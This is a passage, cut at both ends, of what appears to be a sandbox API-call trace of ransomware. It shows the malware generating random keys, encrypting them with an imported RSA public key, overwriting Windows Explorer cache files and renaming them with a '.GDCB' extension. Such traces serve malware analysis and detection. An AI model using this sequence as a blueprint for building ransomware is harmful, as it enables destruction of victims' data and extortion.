phKey=0x285d4b8*=0x50d0510) returned 1 [0204.957] CryptGetKeyParam (in: hKey=0x50d0510, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.957] CryptEncrypt (in: hKey=0x50d0510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.958] GetLastError () returned 0x0 [0204.958] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.958] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide_alternate.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0204.960] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0204.961] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0204.962] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0204.971] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0204.973] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0204.974] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.975] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.975] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0204.975] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.976] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.980] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0204.980] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0204.980] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0204.980] CloseHandle (hObject=0x510) returned 1 [0204.981] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.982] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.984] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0204.985] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide_alternate.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide_alternate.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide_alternate.db.gdcb")) returned 1 [0204.989] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.992] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.992] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.992] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0204.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0204.994] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.996] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0150) returned 1 [0204.996] CryptGetKeyParam (in: hKey=0x50d0150, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.996] CryptEncrypt (in: hKey=0x50d0150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.997] GetLastError () returned 0x0 [0204.997] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.997] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.998] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0190) returned 1 [0204.998] CryptGetKeyParam (in: hKey=0x50d0190, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.999] CryptEncrypt (in: hKey=0x50d0190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.999] GetLastError () returned 0x0 [0204.999] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.999] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1280.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1280.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.000] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.002] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.003] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.011] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.013] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0205.014] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.015] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.015] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.015] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.016] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.019] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.019] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.019] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.019] CloseHandle (hObject=0x510) returned 1 [0205.020] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.021] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.022] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.023] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1280.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1280.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1280.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1280.db.gdcb")) returned 1 [0205.027] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.029] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.029] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.030] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.032] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.032] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.032] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0205.034] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0210) returned 1 [0205.034] CryptGetKeyParam (in: hKey=0x50d0210, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.034] CryptEncrypt (in: hKey=0x50d0210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.035] GetLastError () returned 0x0 [0205.035] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.035] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.037] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d02d0) returned 1 [0205.037] CryptGetKeyParam (in: hKey=0x50d02d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.037] CryptEncrypt (in: hKey=0x50d02d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.037] GetLastError () returned 0x0 [0205.037] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.037] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_16.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.039] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.040] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.041] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.050] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.052] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0205.053] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.054] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.055] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.055] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.056] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.059] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.059] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.059] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.059] CloseHandle (hObject=0x510) returned 1 [0205.060] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.061] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.062] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.063] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_16.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_16.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_16.db.gdcb")) returned 1 [0205.067] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.069] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.070] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.070] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.070] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.072] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.072] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.072] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.072] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0205.074] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0cd0) returned 1 [0205.074] CryptGetKeyParam (in: hKey=0x50d0cd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.074] CryptEncrypt (in: hKey=0x50d0cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.074] GetLastError () returned 0x0 [0205.074] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.074] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.076] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0e90) returned 1 [0205.076] CryptGetKeyParam (in: hKey=0x50d0e90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.076] CryptEncrypt (in: hKey=0x50d0e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.076] GetLastError () returned 0x0 [0205.076] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.076] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1920.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1920.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.078] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.079] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.080] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.090] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.091] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0205.092] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.093] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.093] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.093] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.094] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.098] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.098] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.098] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.098] CloseHandle (hObject=0x510) returned 1 [0205.098] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.100] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.101] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.101] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1920.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1920.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_1920.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_1920.db.gdcb")) returned 1 [0205.106] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.107] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.108] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.108] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.108] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.108] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0205.110] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.111] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.111] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.111] CryptAcquireContextW (in: 